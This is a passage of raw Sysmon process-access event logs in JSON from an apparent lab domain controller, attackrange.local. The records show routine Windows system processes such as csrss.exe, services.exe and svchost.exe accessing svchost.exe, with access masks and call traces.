11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":963,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.797\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010417D0100}\r\nTargetProcessId: 2424\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.797","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010417D0100}","TargetProcessId":"2424","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":964,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 944\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-0010417D0100}\r\nTargetProcessId: 2424\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"944","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-0010417D0100}","TargetProcessId":"2424","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":965,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":966,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":967,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":968,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":969,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":970,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.813","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":971,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.813\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 